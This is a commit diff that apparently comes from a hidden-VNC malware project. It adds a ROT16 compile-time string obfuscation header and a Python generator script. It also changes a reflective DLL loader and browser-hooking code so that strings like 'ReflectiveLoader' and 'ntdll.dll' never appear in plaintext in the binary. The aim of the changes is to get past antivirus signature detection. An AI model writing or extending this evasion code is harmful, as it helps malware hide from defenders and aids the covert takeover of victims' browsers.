simple string obf
This commit is contained in:
@@ -26,6 +26,7 @@
|
|||||||
// POSSIBILITY OF SUCH DAMAGE.
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
#include "ReflectiveLoader.h"
|
#include "ReflectiveLoader.h"
|
||||||
|
#include "obfstr.h"
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
HINSTANCE hAppInstance = NULL;
|
HINSTANCE hAppInstance = NULL;
|
||||||
@@ -284,9 +285,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
|||||||
|
|
||||||
#ifdef WIN_X64
|
#ifdef WIN_X64
|
||||||
{
|
{
|
||||||
HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll");
|
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
|
||||||
if (hNtdll)
|
if (hNtdll)
|
||||||
pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable");
|
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,70 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// Compile-time string obfuscation via ROT16 cipher.
|
||||||
|
// Each character is individually ROT16'd in the source so the plaintext never
|
||||||
|
// appears contiguously in the binary. Obfuscated arrays are decrypted at call
|
||||||
|
// site through the OBFS() macro.
|
||||||
|
//
|
||||||
|
// To add new strings:
|
||||||
|
// 1. Define an encrypted array using _OBF_CHR('c') for each character.
|
||||||
|
// 2. Use OBFS(your_array) at the point of use.
|
||||||
|
//
|
||||||
|
// The companion script scripts/obfuscate-strings.py automates generating
|
||||||
|
// the _OBF_CHR sequences from a plaintext input.
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define OBFS_KEY 16
|
||||||
|
|
||||||
|
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
|
||||||
|
|
||||||
|
static inline char* obfs_dec(char* buf, int len)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define OBFS(arr) \
|
||||||
|
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
|
||||||
|
(int)(sizeof(arr) - 1))
|
||||||
|
#else
|
||||||
|
#define OBFS(arr) \
|
||||||
|
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
|
||||||
|
(int)(sizeof(arr) - 1))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// ---- Encrypted string arrays ----
|
||||||
|
// Use _OBF_CHR() for each character so the compiler folds to constants.
|
||||||
|
|
||||||
|
static const unsigned char _enc_ReflectiveLoader[] = {
|
||||||
|
_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||||
|
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
|
||||||
|
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
static const unsigned char _enc_ntdll_dll[] = {
|
||||||
|
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('l'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
static const unsigned char _enc_RtlAddFunctionTable[] = {
|
||||||
|
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
|
||||||
|
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
|
||||||
|
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||||
|
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
|
||||||
|
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -7,6 +7,7 @@ extern "C" {
|
|||||||
|
|
||||||
#include "NtApiHooks.h"
|
#include "NtApiHooks.h"
|
||||||
#include "MinHook.h"
|
#include "MinHook.h"
|
||||||
|
#include "obfstr.h"
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
@@ -845,7 +846,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
BOOL found = FALSE;
|
BOOL found = FALSE;
|
||||||
for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) {
|
for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) {
|
||||||
if (name[k] == 'R' && nameFO + k + 16 <= peSize) {
|
if (name[k] == 'R' && nameFO + k + 16 <= peSize) {
|
||||||
if (memcmp(&name[k], "ReflectiveLoader", 16) == 0) {
|
if (memcmp(&name[k], OBFS(_enc_ReflectiveLoader), 16) == 0) {
|
||||||
found = TRUE;
|
found = TRUE;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,6 +26,7 @@
|
|||||||
// POSSIBILITY OF SUCH DAMAGE.
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
#include "ReflectiveLoader.h"
|
#include "ReflectiveLoader.h"
|
||||||
|
#include "obfstr.h"
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
HINSTANCE hAppInstance = NULL;
|
HINSTANCE hAppInstance = NULL;
|
||||||
@@ -286,9 +287,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
|||||||
// Resolve RtlAddFunctionTable so we can register exception unwind data.
|
// Resolve RtlAddFunctionTable so we can register exception unwind data.
|
||||||
// Without this, stack unwinding through our hook functions crashes browsers.
|
// Without this, stack unwinding through our hook functions crashes browsers.
|
||||||
{
|
{
|
||||||
HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll");
|
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
|
||||||
if (hNtdll)
|
if (hNtdll)
|
||||||
pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable");
|
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,57 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define OBFS_KEY 16
|
||||||
|
|
||||||
|
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
|
||||||
|
|
||||||
|
static inline char* obfs_dec(char* buf, int len)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define OBFS(arr) \
|
||||||
|
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
|
||||||
|
(int)(sizeof(arr) - 1))
|
||||||
|
#else
|
||||||
|
#define OBFS(arr) \
|
||||||
|
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
|
||||||
|
(int)(sizeof(arr) - 1))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// ---- Encrypted string arrays ----
|
||||||
|
// Use _OBF_CHR() for each character so the compiler folds to constants.
|
||||||
|
|
||||||
|
static const unsigned char _enc_ReflectiveLoader[] = {
|
||||||
|
_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||||
|
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
|
||||||
|
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
static const unsigned char _enc_ntdll_dll[] = {
|
||||||
|
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||||
|
_OBF_CHR('l'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
static const unsigned char _enc_RtlAddFunctionTable[] = {
|
||||||
|
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
|
||||||
|
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
|
||||||
|
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||||
|
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
|
||||||
|
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16).
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python scripts/obfuscate-strings.py ReflectiveLoader
|
||||||
|
python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable"
|
||||||
|
|
||||||
|
Outputs a C array initializer using _OBF_CHR() for each character.
|
||||||
|
"""
|
||||||
|
import sys
|
||||||
|
|
||||||
|
KEY = 16
|
||||||
|
INDENT = "\t"
|
||||||
|
|
||||||
|
def obfuscate(s):
|
||||||
|
chars = []
|
||||||
|
for c in s:
|
||||||
|
chars.append(f"_OBF_CHR('{c}')")
|
||||||
|
chars.append("0")
|
||||||
|
return ",\n".join(INDENT + ch for ch in chars)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr)
|
||||||
|
print("Example: python obfuscate-strings.py ReflectiveLoader", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
for arg in sys.argv[1:]:
|
||||||
|
body = obfuscate(arg)
|
||||||
|
var = arg.replace(".", "_").replace(" ", "_")
|
||||||
|
print(f"static const unsigned char _enc_{var}[] = {{\n{body}\n}};\n")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user